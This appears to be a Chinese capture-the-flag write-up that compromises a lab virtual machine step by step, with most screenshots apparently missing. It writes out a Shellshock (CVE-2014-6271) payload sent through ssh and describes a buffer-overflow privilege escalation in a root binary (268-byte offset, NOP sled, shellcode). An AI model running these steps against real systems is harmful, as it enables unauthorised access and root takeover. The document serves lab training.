确认目标机IP：192.168.38.140
进行端口扫描：
查看一下版本：
没有查到关键信息，以80端口作为突破：
拿到提示信息：
接下来尝试ftp登录，根据提示信息：
登录之后，拿到lmao.zip文件
尝试解压文件，需要密码：
接下来对网址进行扫描爆破：
打开robots.txt:
再次爆破：
找到可疑地址：http://192.168.38.140//ok_this_is_it
接下来下载照片，通过strings对图片进行分析：
没有关键信息，再找一个网址，同样的操作：http://192.168.38.140//dont_bother
深入此目录：
下载回来这个文件，通过base64解密：
使用此字典对lmao.zip进行爆破：
完事之后解压lmao.zip，生成noop，查看一下是一个私钥：
尝试链接ssh，链接失败：
这里利用了cve-2014-6271漏洞：
'() { :;};/bin/bash'
ssh -i noob noob@192.168.38.140 '() { :;};/bin/bash':
可以看到这里已经链接到：
查找高权限文件：
可以看到有root可疑文件，运行不同的root文件，发现需要传入参数，输入500个A，测试到door2中r00t会崩溃，是我们需要的，抠出来：
接下来用ida打开分析一下：
可以看到这是一个缓冲区溢出漏洞，生成随机字符串：
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
又进行了一次链接，发现我们的文件已经更改了目录：
随后确认溢出点：
出现段错误，需要进行调试：
异常点位置确定：
也就是偏移268后+返回地址，首先是268个A+4个B进行测试：
可以看到eip已经成功被覆盖。接下来就是构造我们的payload。填充滑板指令，确定esp地址：
所以可以开始构造EXP，268+esp地址+16*0x90+shellcode：
可以看到，提权成功。
成功获取到flag：a70354f0258dcc00292c72aab3c8b1e4